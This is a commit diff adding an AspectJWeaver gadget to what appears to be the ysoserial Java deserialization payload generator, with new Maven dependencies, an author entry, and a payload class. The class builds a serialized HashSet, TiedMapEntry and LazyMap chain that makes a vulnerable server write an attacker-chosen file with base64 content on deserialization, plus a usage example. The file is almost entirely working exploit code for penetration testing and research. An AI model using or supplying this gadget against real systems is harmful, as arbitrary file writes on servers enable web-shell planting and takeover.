Add AspectJWeaver file write gadget (#145)

* Add AspectJWeaver file write gadget

pom.xml

@@ -131,6 +131,11 @@
 			<artifactId>commons-codec</artifactId>
 			<version>1.9</version>
 		</dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.6</version>
+        </dependency>
 		<dependency>
 			<groupId>commons-io</groupId>
 			<artifactId>commons-io</artifactId>
@@ -236,7 +241,7 @@
 			<artifactId>commons-fileupload</artifactId>
 			<version>1.3</version>
 		</dependency>
-		<dependency>
+        <dependency>
 			<groupId>org.apache.wicket</groupId>
 			<artifactId>wicket-util</artifactId>
 			<version>6.23.0</version>
@@ -326,6 +331,11 @@
 			<artifactId>vaadin-server</artifactId>
 			<version>7.7.14</version>
 		</dependency>
+        <dependency>
+            <groupId>org.aspectj</groupId>
+            <artifactId>aspectjweaver</artifactId>
+            <version>1.9.5</version>
+        </dependency>
 	</dependencies>
 
 	<profiles>

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -0,0 +1,107 @@
+package ysoserial.payloads;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/*
+Gadget chain:
+HashSet.readObject()
+    HashMap.put()
+        HashMap.hash()
+            TiedMapEntry.hashCode()
+                TiedMapEntry.getValue()
+                    LazyMap.get()
+                        SimpleCache$StorableCachingMap.put()
+                            SimpleCache$StorableCachingMap.writeToPath()
+                                FileOutputStream.write()
+
+Usage:
+args = "<filename>;<base64 content>"
+Example:
+java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
+
+More information:
+https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ */
+@PayloadTest(skip="non RCE")
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+@Authors({ Authors.JANG })
+
+public class AspectJWeaver implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+        int sep = command.lastIndexOf(';');
+        if ( sep < 0 ) {
+            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
+        }
+        String[] parts = command.split(";");
+        String filename = parts[0];
+        byte[] content = Base64.decodeBase64(parts[1]);
+
+        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+        Object simpleCache = ctor.newInstance(".", 12);
+        Transformer ct = new ConstantTransformer(content);
+        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        Reflections.setAccessible(f);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        Reflections.setAccessible(f2);
+        Object[] array = (Object[]) f2.get(innimpl);
+
+        Object node = array[0];
+        if(node == null){
+            node = array[1];
+        }
+
+        Field keyField = null;
+        try{
+            keyField = node.getClass().getDeclaredField("key");
+        }catch(Exception e){
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+        }
+
+        Reflections.setAccessible(keyField);
+        keyField.set(node, entry);
+
+        return map;
+
+    }
+
+    public static void main(String[] args) throws Exception {
+        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
+        PayloadRunner.run(AspectJWeaver.class, args);
+    }
+}

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -23,6 +23,7 @@ public @interface Authors {
     String SCRISTALLI = "scristalli";
     String HANYRAX = "hanyrax";
     String EDOARDOVIGNATI = "EdoardoVignati";
+    String JANG = "Jang";
 
     String[] value() default {};